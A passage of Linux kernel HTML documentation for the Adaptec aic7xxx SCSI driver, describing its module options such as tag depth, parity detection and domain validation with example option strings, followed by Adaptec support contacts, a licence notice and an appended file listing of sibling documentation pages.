<dd class="field-odd"><p>EISA/VLB probing is disabled by default.</p>
</dd>
</dl>
</div></blockquote>
<p>pci_parity</p>
<blockquote>
<div><dl class="field-list">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Toggles the detection of PCI parity errors.
On many motherboards with VIA chipsets,
PCI parity is not generated correctly on the
PCI bus.  It is impossible for the hardware to
differentiate between these “spurious” parity
errors and real parity errors.  The symptom of
this problem is a stream of the message:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>&quot;scsi0:     Data Parity Error Detected during address or write data phase&quot;
</pre></div>
</div>
<p>output by the driver.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a toggle</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>PCI Parity Error reporting is disabled</p>
</dd>
</dl>
</div></blockquote>
<p>no_reset</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Do not reset the bus during the initial probe
phase</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</div></blockquote>
<p>extended</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Force extended translation on the controller</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</div></blockquote>
<p>periodic_otag</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Send an ordered tag periodically to prevent
tag starvation.  Needed for some older devices</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</div></blockquote>
<p>reverse_scan</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Probe the scsi bus in reverse order, starting
with target 15</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</div></blockquote>
<p>global_tag_depth:[value]</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Global tag depth for all targets on all busses.
This option sets the default tag depth which
may be selectively overridden vi the tag_info
option.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>1 - 253</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>32</p>
</dd>
</dl>
</div></blockquote>
<p>tag_info:{{value[,value...]}[,{value[,value...]}...]}</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Set the per-target tagged queue depth on a
per controller basis.  Both controllers and targets
may be omitted indicating that they should retain
the default tag depth.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>1 - 253</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>32</p>
</dd>
</dl>
<p>Examples:</p>
<blockquote>
<div><div class="highlight-none notranslate"><div class="highlight"><pre><span></span>tag_info:{{16,32,32,64,8,8,,32,32,32,32,32,32,32,32,32}
</pre></div>
</div>
<p>On Controller 0:</p>
<blockquote>
<div><ul class="simple">
<li><p>specifies a tag depth of 16 for target 0</p></li>
<li><p>specifies a tag depth of 64 for target 3</p></li>
<li><p>specifies a tag depth of 8 for targets 4 and 5</p></li>
<li><p>leaves target 6 at the default</p></li>
<li><p>specifies a tag depth of 32 for targets 1,2,7-15</p></li>
<li><p>All other targets retain the default depth.</p></li>
</ul>
</div></blockquote>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>tag_info:{{},{32,,32}}
</pre></div>
</div>
<p>On Controller 1:</p>
<blockquote>
<div><ul class="simple">
<li><p>specifies a tag depth of 32 for targets 0 and 2</p></li>
<li><p>All other targets retain the default depth.</p></li>
</ul>
</div></blockquote>
</div></blockquote>
</div></blockquote>
<p>seltime:[value]</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Specifies the selection timeout value</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>0 = 256ms, 1 = 128ms, 2 = 64ms, 3 = 32ms</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>0</p>
</dd>
</dl>
</div></blockquote>
<p>dv: {value[,value...]}</p>
<blockquote>
<div><dl class="field-list">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Set Domain Validation Policy on a per-controller basis.
Controllers may be omitted indicating that
they should retain the default read streaming setting.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>&lt; 0</p></td>
<td><p>Use setting from serial EEPROM.</p></td>
</tr>
<tr class="row-even"><td><p>0</p></td>
<td><p>Disable DV</p></td>
</tr>
<tr class="row-odd"><td><p>&gt; 0</p></td>
<td><p>Enable DV</p></td>
</tr>
</tbody>
</table>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>SCSI-Select setting on controllers with a SCSI Select
option for DV.  Otherwise, on for controllers supporting
U160 speeds and off for all other controller types.</p>
</dd>
</dl>
<p>Example:</p>
<blockquote>
<div><blockquote>
<div><div class="highlight-none notranslate"><div class="highlight"><pre><span></span>dv:{-1,0,,1,1,0}
</pre></div>
</div>
</div></blockquote>
<ul class="simple">
<li><p>On Controller 0 leave DV at its default setting.</p></li>
<li><p>On Controller 1 disable DV.</p></li>
<li><p>Skip configuration on Controller 2.</p></li>
<li><p>On Controllers 3 and 4 enable DV.</p></li>
<li><p>On Controller 5 disable DV.</p></li>
</ul>
</div></blockquote>
</div></blockquote>
<p>Example:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>options aic7xxx aic7xxx=verbose,no_probe,tag_info:{{},{,,10}},seltime:1
</pre></div>
</div>
<p>enables verbose logging, Disable EISA/VLB probing,
and set tag depth on Controller 1/Target 2 to 10 tags.</p>
</section>
<section id="adaptec-customer-support">
<h2>4. Adaptec Customer Support<a class="headerlink" href="#adaptec-customer-support" title="Link to this heading">¶</a></h2>
<blockquote>
<div><p>A Technical Support Identification (TSID) Number is required for
Adaptec technical support.</p>
<blockquote>
<div><ul class="simple">
<li><p>The 12-digit TSID can be found on the white barcode-type label
included inside the box with your product.  The TSID helps us
provide more efficient service by accurately identifying your
product and support status.</p></li>
</ul>
</div></blockquote>
<dl>
<dt>Support Options</dt><dd><ul class="simple">
<li><p>Search the Adaptec Support Knowledgebase (ASK) at
<a class="reference external" href="http://ask.adaptec.com">http://ask.adaptec.com</a> for articles, troubleshooting tips, and
frequently asked questions about your product.</p></li>
<li><p>For support via Email, submit your question to Adaptec’s
Technical Support Specialists at <a class="reference external" href="http://ask.adaptec.com/">http://ask.adaptec.com/</a>.</p></li>
</ul>
</dd>
<dt>North America</dt><dd><ul>
<li><p>Visit our Web site at <a class="reference external" href="http://www.adaptec.com/">http://www.adaptec.com/</a>.</p></li>
<li><p>For information about Adaptec’s support options, call
408-957-2550, 24 hours a day, 7 days a week.</p></li>
<li><p>To speak with a Technical Support Specialist,</p>
<ul class="simple">
<li><p>For hardware products, call 408-934-7274,
Monday to Friday, 3:00 am to 5:00 pm, PDT.</p></li>
<li><p>For RAID and Fibre Channel products, call 321-207-2000,
Monday to Friday, 3:00 am to 5:00 pm, PDT.</p></li>
</ul>
<p>To expedite your service, have your computer with you.</p>
</li>
<li><p>To order Adaptec products, including accessories and cables,
call 408-957-7274.  To order cables online go to
<a class="reference external" href="http://www.adaptec.com/buy-cables/">http://www.adaptec.com/buy-cables/</a>.</p></li>
</ul>
</dd>
<dt>Europe</dt><dd><ul class="simple">
<li><p>Visit our Web site at <a class="reference external" href="http://www.adaptec.com/en-US/_common/world_index">http://www.adaptec.com/en-US/_common/world_index</a>.</p></li>
<li><p>To speak with a Technical Support Specialist, call, or email,</p>
<ul>
<li><p>German:  +49 89 4366 5522, Monday-Friday, 9:00-17:00 CET,
<a class="reference external" href="http://ask-de.adaptec.com/">http://ask-de.adaptec.com/</a>.</p></li>
<li><p>French:  +49 89 4366 5533, Monday-Friday, 9:00-17:00 CET,
<a class="reference external" href="http://ask-fr.adaptec.com/">http://ask-fr.adaptec.com/</a>.</p></li>
<li><p>English: +49 89 4366 5544, Monday-Friday, 9:00-17:00 GMT,
<a class="reference external" href="http://ask.adaptec.com/">http://ask.adaptec.com/</a>.</p></li>
</ul>
</li>
<li><p>You can order Adaptec cables online at
<a class="reference external" href="http://www.adaptec.com/buy-cables/">http://www.adaptec.com/buy-cables/</a>.</p></li>
</ul>
</dd>
<dt>Japan</dt><dd><ul class="simple">
<li><p>Visit our web site at <a class="reference external" href="http://www.adaptec.co.jp/">http://www.adaptec.co.jp/</a>.</p></li>
<li><p>To speak with a Technical Support Specialist, call
+81 3 5308 6120, Monday-Friday, 9:00 a.m. to 12:00 p.m.,
1:00 p.m. to 6:00 p.m.</p></li>
</ul>
</dd>
</dl>
</div></blockquote>
<p>Copyright © 2003 Adaptec Inc. 691 S. Milpitas Blvd., Milpitas CA 95035 USA.</p>
<p>All rights reserved.</p>
<p>You are permitted to redistribute, use and modify this README file in whole
or in part in conjunction with redistribution of software governed by the
General Public License, provided that the following conditions are met:</p>
<ol class="arabic simple">
<li><p>Redistributions of README file must retain the above copyright
notice, this list of conditions, and the following disclaimer,
without modification.</p></li>
<li><p>The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.</p></li>
<li><p>Modifications or new contributions must be attributed in a copyright
notice identifying the author (“Contributor”) and added below the
original copyright notice. The copyright notice is for purposes of
identifying contributors and should not be deemed as permission to alter
the permissions given by Adaptec.</p></li>
</ol>
<p>THIS README FILE IS PROVIDED BY ADAPTEC AND CONTRIBUTORS <code class="docutils literal notranslate"><span class="pre">AS</span> <span class="pre">IS</span></code> AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, ANY
WARRANTIES OF NON-INFRINGEMENT OR THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
ADAPTEC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS README
FILE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/scsi/aic7xxx.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
scsi_transport_srp Folder 0755
53c700.html File 14.24 KB 0644
BusLogic.html File 40.51 KB 0644
FlashPoint.html File 17.51 KB 0644
NinjaSCSI.html File 14.65 KB 0644
aacraid.html File 24.06 KB 0644
advansys.html File 22.78 KB 0644
aha152x.html File 17.97 KB 0644
aic79xx.html File 39.05 KB 0644
aic7xxx.html File 39.95 KB 0644
arcmsr_spec.html File 47.74 KB 0644
bfa.html File 13.08 KB 0644
bnx2fc.html File 11.76 KB 0644
cxgb3i.html File 12.03 KB 0644
dc395x.html File 13.48 KB 0644
dpti.html File 12.29 KB 0644
g_NCR5380.html File 12.35 KB 0644
hpsa.html File 14.53 KB 0644
hptiop.html File 19.61 KB 0644
index.html File 13.43 KB 0644
libsas.html File 27.98 KB 0644
link_power_management_policy.html File 8.92 KB 0644
lpfc.html File 11.34 KB 0644
megaraid.html File 11.93 KB 0644
ncr53c8xx.html File 115.22 KB 0644
ppa.html File 8.8 KB 0644
qlogicfas.html File 11.85 KB 0644
scsi-changer.html File 16.8 KB 0644
scsi-generic.html File 13.62 KB 0644
scsi-parameters.html File 11.93 KB 0644
scsi.html File 10.65 KB 0644
scsi_eh.html File 36.79 KB 0644
scsi_fc_transport.html File 38.88 KB 0644
scsi_mid_low_api.html File 71.01 KB 0644
sd-parameters.html File 9.52 KB 0644
smartpqi.html File 11.98 KB 0644
st.html File 41.47 KB 0644
sym53c500_cs.html File 9.4 KB 0644
sym53c8xx_2.html File 66.19 KB 0644
tcm_qla2xxx.html File 9.28 KB 0644
ufs.html File 17.85 KB 0644
wd719x.html File 9.04 KB 0644
Filemanager